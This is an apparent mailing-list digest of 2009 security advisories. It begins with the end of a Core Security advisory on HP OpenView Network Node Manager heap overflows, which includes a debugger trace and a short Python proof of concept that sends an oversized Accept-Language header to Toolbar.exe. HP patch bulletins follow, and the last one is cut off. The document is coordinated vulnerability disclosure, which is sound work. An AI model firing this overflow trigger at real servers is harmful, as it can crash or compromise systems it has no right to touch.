00117220 5A316680 format = "%s=%s"
00117224 0012724C arglist = 0012724C
00127240 5A308715 ov.sprintf_new
ovwww.5A30870F 0012723C
00127268 5A308618 ovwww.5A3086D0
ovwww.5A308613 00127264
00127288 5A3081CB ovwww.5A3085D0
ovwww.5A3081C6 00127284
001272A0 5A30C930 ovwww.setCookie
ovwww.5A30C92B 0012729C
00127308 5A307F26 ovwww.5A30C675
ovwww.5A307F21 00127304
0012792C 00401029 ovwww.?OvWwwInit@@YAXAAHQAPADPBD@Z
Toolbar.00401023 00127928
0012FF50 004013A2 Toolbar.00401000
Toolbar.0040139D 0012FF4C
- -----------/
7.3. *Heap-based overflow (CVE-2009-0921, BID 34135)*
When sending a large 'Accept-Language' HTTP header another heap buffer
is overflowed. This vulnerability could also be used to obtain remote
code execution. On Solaris, the bug is located inside 'libovwww.so.4'
and on Windows inside 'ovwww.dll'.
/-----------
import socket,sys
if len(sys.argv)!=3:
print "USAGE:AcceptLanguage.py server port"
else:
req="POST /OvCgi/Toolbar.exe HTTP/1.0\nAccept-Language:
"+'a'*1400+"\nContent-Length:0\nHost:192.168.22.252\n\n"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((sys.argv[1],int(sys.argv[2])))
s.send(req)
print s.recv(4000)
- -----------/
8. *Report Timeline*
. 2009-01-07: Secunia publishes an advisory about HP OpenView Network
Node Manager with various CGI stack-based overflows. The identifier
CVE-2008-0067 is assigned [3].
. 2009-01-09: Saint releases to their customers an exploit attacking
OpenView through a CGI parameter [2].
. 2009-01-20: The vendor releases a patch to fix the issues included on
CVE-2008-0067 [4].
. 2009-01-21: Oren Isacson at Core Security Technologies writes an
exploit for a stack-based overflow (CGI parameter 'OvAcceptLang') and
finds two new bugs, one heap overflow on CGI parameter 'OvOSLocale' and
a heap overflow on HTTP header 'Accept-Language'.
. 2009-01-22: Core notifies the vendor that vulnerabilities were found
and that an advisory draft is available.
. 2009-01-22: Vendor acknowledges and requests for an encrypted copy of
the advisory's draft.
. 2009-01-23: Core sends the advisory's draft to the vendor, including
proof of concept code for the OvAcceptLang's bug.
. 2009-01-28: Vendor says the vulnerability can't exist when patch is
installed and asks for confirmation of faulty installation and old
'ov.dll' installed.
. 2009-01-29: Core confirms the vendor that no duplicated 'ov.dll' was
found and that the real culprit for the OvAcceptLang bug is located on
'ovwww.dll'. Detailed debugging information is sent.
. 2009-01-29: Vendor acknowledges the new information.
. 2009-02-05: Core requests an update from the vendor and confirmation
of the tentative schedule of February 16th to publish this information.
. 2009-02-06: Vendor sends an update and requests proof of concept code
for the other two bugs.
. 2009-02-09: Core sends proof of concept code for the three bugs and
requests confirmation or changes on the tentative schedule on February
16th when possible.
. 2009-02-09: Vendor acknowledges the reception of the proof of concept
code.
. 2009-02-16: Core informs the vendor that the publication of the
advisory has been rescheduled to March 8. Core insists that the advisory
should be published as soon as possible.
. 2009-02-19: Vendor informs Core that that hot fix will be available on
March 15 and requests delaying the advisory until March 17.
. 2009-02-19: Core confirms the vendor that the publication of the
advisory will be delayed until March 17.
. 2009-02-19: Vendor acknowledges the new schedule.
. 2009-03-16: Vendor sends to Core the hot fix (for Windows) for
verification.
. 2009-03-16: Core confirms the vendor that the hot fix is avoiding the
three bugs.
. 2009-03-17: Vendor says that it will take time to draft the security
bulletin and coordinate it within HP, and that they will publish their
security bulletin on March 24. Vendor asks Core not to publish the patch
location because that should be published on their security bulletin.
. 2009-03-17: Core re-schedules advisory CORE-2009-0122 publication to
March 24 and asks the vendor the URL of their security bulletin when
available.
. 2009-03-17: Core asks the vendor to reschedule publication to March
23, because March 24 is a working holiday in Argentina, where Core's
research and development center is located.
. 2009-03-17: Vendor confirms March 23 as the new publication date.
. 2009-03-23: Vendor publishes the hot fix.
. 2009-03-23: Core publishes advisory CORE-2009-0122.
9. *References*
[1] Secunia Research 07/01/2009
http://secunia.com/secunia_research/2008-13/
[2] HP OpenView Network Node Manager Toolbar.exe CGI buffer overflow
http://www.saintcorporation.com/cgi-bin/exploit_info/openview_nnm_toolbar
[3] CVE-2008-0067
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0067
[4] HP advisory (HPSBMA02400 SSRT080144)
https://www13.itrc.hp.com/service/cki/docDisplay.do?docId=emr_na-c01646081
[5] HP security bulletin
http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?objectID=c01696729
10. *About CoreLabs*
CoreLabs, the research center of Core Security Technologies, is charged
with anticipating the future needs and requirements for information
security technologies. We conduct our research in several important
areas of computer security including system vulnerabilities, cyber
attack planning and simulation, source code auditing, and cryptography.
Our results include problem formalization, identification of
vulnerabilities, novel solutions and prototypes for new technologies.
CoreLabs regularly publishes security advisories, technical papers,
project information and shared software tools for public use at:
http://www.coresecurity.com/corelabs.
11. *About Core Security Technologies*
Core Security Technologies develops strategic solutions that help
security-conscious organizations worldwide develop and maintain a
proactive process for securing their networks. The company's flagship
product, CORE IMPACT, is the most comprehensive product for performing
enterprise security assurance testing. CORE IMPACT evaluates network,
endpoint and end-user vulnerabilities and identifies what resources are
exposed. It enables organizations to determine if current security
investments are detecting and preventing attacks. Core Security
Technologies augments its leading technology solution with world-class
security consulting services, including penetration testing and software
security auditing. Based in Boston, MA and Buenos Aires, Argentina, Core
Security Technologies can be reached at 617-399-6980 or on the Web at
http://www.coresecurity.com.
12. *Disclaimer*
The contents of this advisory are copyright (c) 2009 Core Security
Technologies and (c) 2009 CoreLabs, and may be distributed freely
provided that no fee is charged for this distribution and proper credit
is given.
13. *PGP/GPG Keys*
This advisory has been signed with the GPG key of Core Security
Technologies advisories team, which is available for download at
http://www.coresecurity.com/files/attachments/core_security_advisories.asc.
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.8 (MingW32)
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org
iEYEARECAAYFAknHys0ACgkQyNibggitWa1uoACfWfSGTJjQCfGhYOxwBVbUTAEo
SuAAnAqFoSVhM7q6IcRdqyw6e8LgSFzM
=DVLu
-----END PGP SIGNATURE-----
--- End Message ---
--- Begin Message ---
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
SUPPORT COMMUNICATION - SECURITY BULLETIN
Document ID: c01696729
Version: 1
HPSBMA02416 SSRT090008 rev.1 - HP OpenView Network Node Manager (OV NNM), Remote Execution of Arbitrary Code
NOTICE: The information in this Security Bulletin should be acted upon as soon as possible.
Release Date: 2009-03-23
Last Updated: 2009-03-23
Potential Security Impact: Remote execution of arbitrary code
Source: Hewlett-Packard Company, HP Software Security Response Team
VULNERABILITY SUMMARY
Potential vulnerabilities have been identified with HP OpenView Network Node Manager (OV NNM). The vulnerabilities could be exploited remotely to execute arbitrary code.
References: CVE-2009-0920, CVE-2009-0921
SUPPORTED SOFTWARE VERSIONS*: ONLY impacted versions are listed.
HP OpenView Network Node Manager (OV NNM) v7.01, v7.51, v7.53 running on HP-UX, Linux, Solaris, and Windows
BACKGROUND
CVSS 2.0 Base Metrics
===============================================
Reference Base Vector Base Score
CVE-2009-0920 (AV:N/AC:L/Au:N/C:P/I:P/A:N) 6.4
CVE-2009-0921 (AV:N/AC:L/Au:N/C:P/I:P/A:N) 6.4
===============================================
Information on CVSS is documented in HP Customer Notice: HPSN-2008-002.
The Hewlett-Packard Company thanks Oren Isacson of Core Security Technologies for reporting these vulnerabilities to security-alert@hp.com.
RESOLUTION
HP has made archive files available to resolve the vulnerabilities. The archive files are listed in the tables below. The tables also list required patches. The patches will insure that NNM is compatible with the software files in the archive.
The patches are available from http://support.openview.hp.com/selfsolve/patches
Note: The patches are not available from the HP IT Resource Center (ITRC).
The archive files are available from: ftp://ss090008:ss090008@hprc.external.hp.com/
To install the archive files:
1. Install the required patch listed below
2. Uncompress the archive (SSRT090008.QCCR1B26779.hotfix.tar.gz)
3. Unpack the archive (SSRT090008.QCCR1B26779.hotfix.tar)
4. ovstop -c
5. Follow the instructions in the README.txt file
6. ovstart -c
OV NNM v7.53
Operating System
Required Patch
Archive File
Archive File MD5 Sum
HP-UX (IA)
PHSS_38783 or subsequent
SSRT090008.QCCR1B26779.hotfix.tar
36f576b62383405841cc88f85292888a
HP-UX (PA)
PHSS_38782 or subsequent
SSRT090008.QCCR1B26779.hotfix.tar
36f576b62383405841cc88f85292888a
Linux RedHatAS2.1
LXOV_00089 or subsequent
SSRT090008.QCCR1B26779.hotfix.tar
36f576b62383405841cc88f85292888a
Linux RedHat4AS-x86_64
LXOV_00090 or subsequent
SSRT090008.QCCR1B26779.hotfix.tar
36f576b62383405841cc88f85292888a
Solaris
PSOV_03517 or subsequent
SSRT090008.QCCR1B26779.hotfix.tar
36f576b62383405841cc88f85292888a
Windows
NNM_01195 or subsequent
SSRT090008.QCCR1B26779.hotfix.tar
36f576b62383405841cc88f85292888a
OV NNM v7.51
Upgrade to NNM v7.53 and apply the NNM v7.53 resolution listed above. Patch bundles for upgrading from NNM v7.51 to NNM v7.53 are available here: ftp://nnm_753:update@hprc.external.hp.com/
OV NNM v7.01
Operating System
Required Patch
Archive File
Archive File MD5 Sum
HP-UX (PA)
PHSS_38761 or subsequent
SSRT090008.QCCR1B26779.hotfix.tar
36f576b62383405841cc88f85292888a
Solaris
PSOV_03516 or subsequent
SSRT090008.QCCR1B26779.hotfix.tar
36f576b62383405841cc88f85292888a
Windows
NNM_01194 or subsequent
SSRT090008.QCCR1B26779.hotfix.tar
36f576b62383405841cc88f85292888a
MANUAL ACTIONS: Yes - NonUpdate
Apply the appropriate archive as described in the Resolution.
PRODUCT SPECIFIC INFORMATION
HP-UX Software Assistant: HP-UX Software Assistant is an enhanced application that replaces HP-UX Security Patch Check. It analyzes all Security Bulletins issued by HP and lists recommended actions that may apply to a specific HP-UX system. It can also download patches and create a depot automatically. For more information see https://www.hp.com/go/swa
The following text is for use by the HP-UX Software Assistant.
AFFECTED VERSIONS (for HP-UX)
For HP-UX OV NNM 7.51 and 7.53
HP-UX B.11.31
HP-UX B.11.23 (IA)
HP-UX B.11.23 (PA)
HP-UX B.11.11
=============
OVNNMgr.OVNNM-RUN,fr=B.07.50.00
action: install the patches and archive files listed in the Resolution
URL: ftp://ss090008:ss090008@hprc.external.hp.com/
For HP-UX OV NNM 7.01
HP-UX B.11.11
=============
OVNNMgr.OVNNM-RUN,fr=B.07.01.00
action: install the patches and archive files listed in the Resolution
URL: ftp://ss090008:ss090008@hprc.external.hp.com/
END AFFECTED VERSIONS (for HP-UX)
HISTORY
Version:1 (rev.1) - 23 March 2009 Initial release
Third Party Security Patches: Third party security patches that are to be installed on systems running HP software products should be applied in accordance with the customer's patch management policy.
Support: For further information, contact normal HP Services support channel.
Report: To report a potential security vulnerability with any HP supported product, send Email to: security-alert@hp.com
It is strongly recommended that security related information being communicated to HP be encrypted using PGP, especially exploit information.
To get the security-alert PGP key, please send an e-mail message as follows:
To: security-alert@hp.com
Subject: get key
Subscribe: To initiate a subscription to receive future HP Security Bulletins via Email:
http://h30046.www3.hp.com/driverAlertProfile.php?regioncode=NA&langcode=USENG&jumpid=in_SC-GEN__driverITRC&topiccode=ITRC
On the web page: ITRC security bulletins and patch sign-up
Under Step1: your ITRC security bulletins and patches
- check ALL categories for which alerts are required and continue.
Under Step2: your ITRC operating systems
- verify your operating system selections are checked and save.
To update an existing subscription: http://h30046.www3.hp.com/subSignIn.php
Log in on the web page: Subscriber's choice for Business: sign-in.
On the web page: Subscriber's Choice: your profile summary - use Edit Profile to update appropriate sections.
To review previously published Security Bulletins visit: http://www.itrc.hp.com/service/cki/secBullArchive.do
* The Software Product Category that this Security Bulletin relates to is represented by the 5th and 6th characters of the Bulletin number in the title:
GN = HP General SW
MA = HP Management Agents
MI = Misc. 3rd Party SW
MP = HP MPE/iX
NS = HP NonStop Servers
OV = HP OpenVMS
PI = HP Printing & Imaging
ST = HP Storage SW
TL = HP Trusted Linux
TU = HP Tru64 UNIX
UX = HP-UX
VV = HP VirtualVault
System management and security procedures must be reviewed frequently to maintain system integrity. HP is continually reviewing and enhancing the security features of software products to provide customers with current secure solutions.
"HP is broadly distributing this Security Bulletin in order to bring to the attention of users of the affected HP products the important security information contained in this Bulletin. HP recommends that all users determine the applicability of this information to their individual situations and take appropriate action. HP does not warrant that this information is necessarily accurate or complete for all user situations and, consequently, HP will not be responsible for any damages resulting from user's use or disregard of the information provided in this Bulletin. To the extent permitted by law, HP disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose, title and non-infringement."
©Copyright 2009 Hewlett-Packard Development Company, L.P.
Hewlett-Packard Company shall not be liable for technical or editorial errors or omissions contained herein. The information provided is provided "as is" without warranty of any kind. To the extent permitted by law, neither HP or its affiliates, subcontractors or suppliers will be liable for incidental, special or consequential damages including downtime cost; lost profits; damages relating to the procurement of substitute products or services; or damages for loss of data, or software restoration. The information in this document is subject to change without notice. Hewlett-Packard Company and the names of Hewlett-Packard products referenced herein are trademarks of Hewlett-Packard Company in the United States and other countries. Other product and company names mentioned herein may be trademarks of their respective owners.
-----BEGIN PGP SIGNATURE-----
Version: PGP 8.1
iQA/AwUBSceOmOAfOvwtKn1ZEQJOAACghShtkjftdslmj5MWAUiGqCRbUaQAn21b
Z6S+BrYMySq2fFzDIjmLxkCS
=dlUm
-----END PGP SIGNATURE-----
--- End Message ---
--- Begin Message ---
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
SUPPORT COMMUNICATION - SECURITY BULLETIN
Document ID: c01674733
Version: 1
HPSBUX02409 SSRT080171 rev.1 - HP-UX Running VERITAS File System (VRTSvxfs) or VERITAS Oracle Disk Manager (VRTSodm), Local Escalation of Privilege
NOTICE: The information in this Security Bulletin should be acted upon as soon as possible.
Release Date: 2009-02-23
Last Updated: 2009-03-21
Potential Security Impact: Local escalation of privilege
Source: Hewlett-Packard Company, HP Software Security Response Team
VULNERABILITY SUMMARY
A potential security vulnerability has been identified with HP-UX running VRTSvxfs and VRTSodm. The vulnerability could be exploited locally to cause an escalation of privilege. VRTSvxfs and VRTSodm are bundled with Storage Management Suite (SMS) and Storage Management for Oracle (SMO).
References: CVE-2009-0207
SUPPORTED SOFTWARE VERSIONS*: ONLY impacted versions are listed.
HP-UX B.11.11 running VRTSodm 3.5
HP-UX B.11.23 running VRTSodm 4.1 or VRTSvxfs 4.1 or both
HP-UX B.11.23 running VRTSodm 5.0 or VRTSvxfs 5.0 or both
HP-UX B.11.31 running VRTSodm 5.0
BACKGROUND
CVSS 2.0 Base Metrics
===============================================
Reference Base Vector Base Score
CVE-2009-0207 (AV:L/AC:L/Au:S/C:C/I:C/A:C) 6.8
===============================================
Information on CVSS is documented in HP Customer Notice: HPSN-2008-002.
RESOLUTION
HP has provided the following patches to resolve this vulnerability.
The patches are available from the following location:
URL: http://itrc.hp.com
HP-UX Release
Component from bundle
Patch ID
B.11.11
VRTSvxfs 3.5
PHCO_39124
B.11.23 (IA and PA)
VRTSvxfs 4.1, VRTSodm 4.1
PHCO_39027, PHKL_39029
B.11.23 (IA and PA)
VRTSvxfs 5.0, VRTSodm 5.0
PHCO_39103, PHCO_39104, PHKL_38795
B.11.31
VRTSodm 5.0
PHKL_39130
B.11.31
VRTSvxfs 5.0
PHCO_38913, PHCO_39132
MANUAL ACTIONS: No
PRODUCT SPECIFIC INFORMATION
HP-UX Software Assistant: HP-UX Software Assistant is an enhanced application that replaces HP-UX Security Patch Check. It analyzes all Security Bulletins issued by HP and lists recommended actions that may apply to a specific HP-UX system. It can also download patches and create a depot automatically. For more information see: https://www.hp.com/go/swa
The following text is for use by the HP-UX Software Assistant.
AFFECTED VERSIONS
HP-UX B.11.11
==================
VRTSvxfs.VXFS-RUN
action: install patches PHCO_39124 or subsequent
URL: http://itrc.hp.com
For VRTSvxfs 4.1, VRTSodm 4.1
HP-UX B.11.23
==================
VRTSodm.ODM-KRN
VRTSodm.ODM-RUN
VRTSodm.ODM-MAN
VRTSvxfs.VXFS-RUN
VRTSvxfs.VXFS-RUN-PALIB
VRTSvxfs.VXFS-PRG
action: install patches PHCO_39027, PHKL_39029 or subsequent
URL: http://itrc.hp.com
For VRTSodm 5.0 and VRTSvxfs 5.0
HP-UX B.11.23
==================
VRTSodm.ODM-KRN
VRTSodm.ODM-RUN
VRTSodm.ODM-MAN
VRTSvxfs.VXFS-RUN
VRTSvxfs.VXFS-RUN-PALIB
VRTSvxfs.VXFS-PRG
action: install patches PHCO_39103, PHCO_39104, PHKL_38795 or subsequent
URL: http://itrc.hp.com
HP-UX B.11.31
==================
VRTSodm.ODM-KRN
VRTSodm.ODM-RUN
VRTSodm.ODM-MAN
VRTSvxfs.VXFS-RUN
action: install patches PHCO_38913, PHCO_39132, PHKL_39130 or subsequent
URL: http://itrc.hp.com
END AFFECTED VERSIONS
HISTORY
Version:1 (rev.1) 23 March 2009 Initial release
Third Party Security Patches: Third party security patches that are to be installed on systems running HP software products should be applied in accordance with the customer's patch management policy.
Support: For further information, contact normal HP Services support channel.
Report: To report a potential security vulnerability with any HP supported product, send Email to: security-alert@hp.com
It is strongly recommended that security related information being communicated to HP be encrypted using PGP, especially exploit information.
To get the security-alert PGP key, please send an e-mail message as follows:
To: security-alert@hp.com
Subject: get key
Subscribe: To initiate a subscription to receive future HP Security Bulletins via Email:
http://h30046.www3.hp.com/driverAlertProfile.php?regioncode=NA&langcode=USENG&jumpid=in_SC-GEN__driverITRC&topiccode=ITRC
On the web page: ITRC security bulletins and patch sign-up
Under Step1: your ITRC security bulletins and patches
- check ALL categories for which alerts are required and continue.
Under Step2: your ITRC operating systems
- verify your operating system selections are checked and save.
To update an existing subscription: http://h30046.www3.hp.com/subSignIn.php
Log in on the web page: Subscriber's choice for Business: sign-in.
On the web page: Subscriber's Choice: your profile summary - use Edit Profile to update appropriate sections.
To review previously published Security Bulletins visit: http://www.itrc.hp.com/service/cki/secBullArchive.do
* The Software Product Category that this Security Bulletin relates to is represented by the 5th and 6th characters of the Bulletin number in the title:
GN = HP General SW
MA = HP Management Agents
MI = Misc. 3rd Party SW
MP = HP MPE/iX
NS = HP NonStop Servers
OV = HP OpenVMS
PI = HP Printing & Imaging
ST = HP Storage SW
TL = HP Trusted Linux
TU = HP Tru64 UNIX
UX = HP-UX
VV = HP VirtualVault
System management and security procedures must be reviewed frequently to maintain system integrity. HP is continually reviewing and enhancing the security features of software products to provide customers with current secure solutions.
"HP is broadly distributing this Security Bulletin in order to bring to the attention of users of the affected HP products the important security information contained in this Bulletin. HP recommends that all users determine the applicability of this information to their individual situations and take appropriate action. HP does not warrant that this information is necessarily accurate or complete for all user situations and, consequently, HP will not be responsible for any damages resulting from user's use or disregard of the information provided in this Bulletin. To the extent permitted by law, HP disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose, title and non-infringement."
©Copyright 2009 Hewlett-Packard Development Company, L.P.
Hewlett-Packard Company shall not be liable for technical or editorial errors or omissions contained herein. The information provided is provided "as is" without warranty of any kind. To the extent permitted by law, neither HP or its affiliates, subcontractors or suppliers will be liable for incidental, special or consequential damages including downtime cost; lost profits; damages relating to the procurement of substitute products or services; or damages for loss of data, or software restoration. The information in this document is subject to change without notice. Hewlett-Packard Company and the names of Hewlett-Packard products referenced herein are trademarks of Hewlett-Packard Company in the United States and other countries. Other product and company names mentioned herein may be trademarks of their respective owners.
-----BEGIN PGP SIGNATURE-----
Version: PGP 8.1
iQA/AwUBScja3eAfOvwtKn1ZEQLomgCffgw+V+B3Y8BwMdA/V4b6olPeIvUAnRjL
suM6zASihIRJbJkjnPp2QFW+
=WIrL
-----END PGP SIGNATURE-----
--- End Message ---
--- Begin Message ---
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
SUPPORT COMMUNICATION - SECURITY BULLETIN
Document ID: c01696729
Version: 2
HPSBMA02416 SSRT090008 rev.2 - HP OpenView Network Node Manager (OV NNM), Remote Execution of Arbitrary Code
NOTICE: The information in this Security Bulletin should be acted upon as soon as possible.
Release Date: 2009-03-23
Last Updated: 2009-03-31
Potential Security Impact: Remote execution of arbitrary code
Source: Hewlett-Packard Company, HP Software Security Response Team
VULNERABILITY SUMMARY
Potential vulnerabilities have been identified with HP OpenView Network Node Manager (OV NNM). The vulnerabilities could be exploited remotely to execute arbitrary code.
References: CVE-2009-0920, CVE-2009-0921
SUPPORTED SOFTWARE VERSIONS*: ONLY impacted versions are listed.
HP OpenView Network Node Manager (OV NNM) v7.01, v7.51, v7.53 running on HP-UX, Linux, Solaris, and Windows
BACKGROUND
CVSS 2.0 Base Metrics
===============================================
Reference Base Vector Base Score
CVE-2009-0920 (AV:N/AC:L/Au:N/C:P/I:P/A:N) 6.4
CVE-2009-0921 (AV:N/AC:L/Au:N/C:P/I:P/A:N) 6.4
===============================================
Information on CVSS is documented in HP Customer Notice: HPSN-2008-002.
The Hewlett-Packard Company thanks Oren Isacson of Core Security Technologies for reporting these vulnerabilities to security-alert@hp.com.
RESOLUTION
HP has made archive files available to resolve the vulnerabilities. The archive files are listed in the tables below. The tables also list required patches. The patches will insure that NNM is compatible with the software files in the archive.
The patches are available from http://support.openview.hp.com/selfsolve/patches
Note: The patches are not available from the HP IT Resource Center (ITRC).
The archive files are available from: ftp://ss090008:ss090008@hprc.external.hp.com/
Note: Archive files are now available for NNM v7.53 with Intermediate Patch 22. The archives listed in rev.1 of this Security Bulletin are valid for NNM v7.53 with Intermediate Patch 21 and NNM v7.01 with Intermediate Patch 12. There is no need to install new archives if the archives listed in rev.1 have already been installed.
To install the archive files:
1. Install the required patch listed below
2. Uncompress the appropriate archive
(SSRT090008.QCCR1B26779.753_IP22.hotfix.tar.gz,
SSRT090008.QCCR1B26779.753_IP21.hotfix.tar.gz,
SSRT090008.QCCR1B26779.701_IP12.hotfix.tar.gz)
3. Unpack the appropriate archive
(SSRT090008.QCCR1B26779.753_IP22.hotfix.tar,
SSRT090008.QCCR1B26779.753_IP21.hotfix.tar,
SSRT090008.QCCR1B26779.701_IP12.hotfix.tar)
4. ovstop -c
5. Follow the instructions in the README.txt file
6. ovstart -c
OV NNM v7.53 with Intermediate Patch 22
===============================
Operating System
Required Patch
Archive File
Archive File MD5 Sum
HP-UX (IA)
PHSS_39246
SSRT090008.QCCR1B26779.753_IP22.hotfix.tar
90a5f1625d789b839c176c88bc7bf480
HP-UX (PA)
PHSS_39245
SSRT090008.QCCR1B26779.753_IP22.hotfix.tar
90a5f1625d789b839c176c88bc7bf480
Linux RedHatAS2.1
LXOV_00093
SSRT090008.QCCR1B26779.753_IP22.hotfix.tar
90a5f1625d789b839c176c88bc7bf480
Linux RedHat4AS-x86_64
LXOV_00094
SSRT090008.QCCR1B26779.753_IP22.hotfix.tar
90a5f1625d789b839c176c88bc7bf480
Solaris
PSOV_03519
SSRT090008.QCCR1B26779.753_IP22.hotfix.tar
90a5f1625d789b839c176c88bc7bf480
Windows
NNM_01197
SSRT090008.QCCR1B26779.753_IP22.hotfix.tar
90a5f1625d789b839c176c88bc7bf480
OV NNM v7.53 with Intermediate Patch 21
===============================
Operating System
Required Patch
Archive File
Archive File MD5 Sum
HP-UX (IA)
PHSS_38783
SSRT090008.QCCR1B26779.753_IP21.hotfix.tar
8001b070bd8bfb41ad1cd8f8be248e55
HP-UX (PA)
PHSS_38782
SSRT090008.QCCR1B26779.753_IP21.hotfix.tar
8001b070bd8bfb41ad1cd8f8be248e55
Linux RedHatAS2.1
LXOV_00089
SSRT090008.QCCR1B26779.753_IP21.hotfix.tar
8001b070bd8bfb41ad1cd8f8be248e55
Linux RedHat4AS-x86_64
LXOV_00090
SSRT090008.QCCR1B26779.753_IP21.hotfix.tar
8001b070bd8bfb41ad1cd8f8be248e55
Solaris
PSOV_03517
SSRT090008.QCCR1B26779.753_IP21.hotfix.tar
8001b070bd8bfb41ad1cd8f8be248e55
Windows
NNM_01195
SSRT090008.QCCR1B26779.753_IP21.hotfix.tar
8001b070bd8bfb41ad1cd8f8be248e55
OV NNM v7.51
===========
Upgrade to NNM v7.53 and apply the NNM v7.53 resolution listed above. Patch bundles for upgrading from NNM v7.51 to NNM v7.53 are available here: ftp://nnm_753:update@hprc.external.hp.com/
OV NNM v7.01 with Intermediate Patch 12
===============================
Operating System
Required Patch
Archive File
Archive File MD5 Sum
HP-UX (PA)
PHSS_38761
SSRT090008.QCCR1B26779.701_IP12.hotfix.tar
d4c79e96a522c9470ff4368aa77f9a16
Solaris
PSOV_03516
SSRT090008.QCCR1B26779.701_IP12.hotfix.tar
d4c79e96a522c9470ff4368aa77f9a16
Windows
NNM_01194
SSRT090008.QCCR1B26779.701_IP12.hotfix.tar
d4c79e96a522c9470ff4368aa77f9a16
MANUAL ACTIONS: Yes - NonUpdate
Apply the appropriate archive as described in the Resolution.
PRODUCT SPECIFIC INFORMATION
HP-UX Software Assistant: HP-UX Software Assistant is an enhanced application that replaces HP-UX Security Patch Check. It analyzes all Security Bulletins issued by HP and lists recommended actions that may apply to a specific HP-UX system. It can also download patches and create a depot automatically. For more information see https://www.hp.com/go/swa
The following text is for use by the HP-UX Software Assistant.
AFFECTED VERSIONS (for HP-UX)
For HP-UX OV NNM 7.51 and 7.53
HP-UX B.11.31
HP-UX B.11.23 (IA)
HP-UX B.11.23 (PA)
HP-UX B.11.11
=============
OVNNMgr.OVNNM-RUN,fr=B.07.50.00
action: install the patches and archive files listed in the Resolution
URL: ftp://ss090008:ss090008@hprc.external.hp.com/
For HP-UX OV NNM 7.01
HP-UX B.11.11
=============
OVNNMgr.OVNNM-RUN,fr=B.07.01.00
action: install the patches and archive files listed in the Resolution
URL: ftp://ss090008:ss090008@hprc.external.hp.com/
END AFFECTED VERSIONS (for HP-UX)
HISTORY
Version:1 (rev.1) - 23 March 2009 Initial release
Version:2 (rev.2) - 31 March 2009 Archive available for NNM v7.53 with Intermediate Patch 22
Third Party Security Patches: Third party security patches that are to be installed on systems running HP software products should be applied in accordance with the customer's patch management policy.
Support: For further information, contact normal HP Services support channel.
Report: To report a potential security vulnerability with any HP supported product, send Email to: security-alert@hp.com
It is strongly recommended that security related information being communicated to HP be encrypted using PGP, especially exploit information.
To get the security-alert PGP key, please send an e-mail message as follows:
To: security-alert@hp.com
Subject: get key
Subscribe: To initiate a subscription to receive future HP Security Bulletins via Email:
http://h30046.www3.hp.com/driverAlertProfile.php?regioncode=NA&langcode=USENG&jumpid=in_SC-GEN__driverITRC&topiccode=ITRC
On the web page: ITRC security bulletins and patch sign-up
Under Step1: your ITRC security bulletins and patches
- check ALL categories for which alerts are required and continue.
Under Step2: your ITRC operating systems
- verify your operating system selections are checked and save.
To update an existing subscription: http://h30046.www3.hp.com/subSignIn.php
Log in on the web page: Subscriber's choice for Business: sign-in.
On the web page: Subscriber's Choice: your profile summary - use Edit Profile to update appropriate sections.
To review previously published Security Bulletins visit: http://www.itrc.hp.com/service/cki/secBullArchive.do
* The Software Product Category that this Security Bulletin relates to is represented by the 5th and 6th characters of the Bulletin number in the title:
GN = HP General SW
MA = HP Management Agents
MI = Misc. 3rd Party SW
MP = HP MPE/iX
NS = HP NonStop Servers
OV = HP OpenVMS
PI = HP Printing & Imaging
ST = HP Storage SW
TL = HP Trusted Linux
TU = HP Tru64 UNIX
UX = HP-UX
VV = HP VirtualVault
System management and security procedures must be reviewed frequently to maintain system integrity. HP is continually reviewing and enhancing the security features of software products to provide customers with current secure solutions.
"HP is broadly distributing this Security Bulletin in order to bring to the attention of users of the affected HP products the important security information contained in this Bulletin. HP recommends that all users determine the applicability of this information to their individual situations and take appropriate action. HP does not warrant that this information is necessarily accurate or complete for all user situations and, consequently, HP will not be responsible for any damages resulting from user's use or disregard of the information provided in this Bulletin. To the extent permitted by law, HP disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose, title and non-infringement."
©Copyright 2009 Hewlett-Packard Development Company, L.P.
Hewlett-Packard Company shall not be liable for technical or editorial errors or omissions contained herein. The information provided is provided "as is" without warranty of any kind. To the extent permitted by law, neither HP or its affiliates, subcontractors or suppliers will be liable for incidental, special or consequential damages including downtime cost; lost profits; damages relating to the procurement of substitute products or services; or damages for loss of data, or software restoration. The information in this document is subject to change without notice. Hewlett-Packard Company and the names of Hewlett-Packard products referenced herein are trademarks of Hewlett-Packard Company in the United States and other countries. Other product and company names mentioned herein may be trademarks of their respective owners.
-----BEGIN PGP SIGNATURE-----
Version: PGP 8.1
iQA/AwUBSdIWM+AfOvwtKn1ZEQKvMQCfSXEvuEJrL4FtRZ8mC9pYghfouxcAnjvS
Jq6jHz7KBbiG35I0EM2vnBnr
=kCz0
-----END PGP SIGNATURE-----
--- End Message ---
--- Begin Message ---
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
SUPPORT COMMUNICATION - SECURITY BULLETIN
Document ID: c01706219
Version: 1
HPSBUX02418 SSRT090002 rev.1 - HP-UX Running OpenSSL, Remote Unauthorized Access
NOTICE: The information in this Security Bulletin should be acted upon as soon as possible.
Release Date: 2009-03-31
Last Updated: 2009-03-30
Potential Security Impact: Remote unauthorized access
Source: Hewlett-Packard Company, HP Software Security Response Team
VULNERABILITY SUMMARY
A potential security vulnerability has been identified with HP-UX running OpenSSL. The vulnerability could be exploited remotely to allow an unauthorized access.
References: CVE-2008-5077
SUPPORTED SOFTWARE VERSIONS*: ONLY impacted versions are listed.
HP-UX B.11.11, B.11.23, B.11.31 running OpenSSL
BACKGROUND
CVSS 2.0 Base Metrics
===============================================
Reference Base Vector Base Score
CVE-2008-5077 (AV:R/AC:L/Au:N/C:N/I:P/A:N) 5.0
===============================================
Information on CVSS is documented in HP Customer Notice: HPSN-2008-002.
RESOLUTION
HP has provided the following patches to resolve this vulnerability.
The patches are available from the following location:
URL: http://software.hp.com
HP-UX Release
HP-UX OpenSSL version
B.11.11 (11i v1)
A.00.09.07m.046
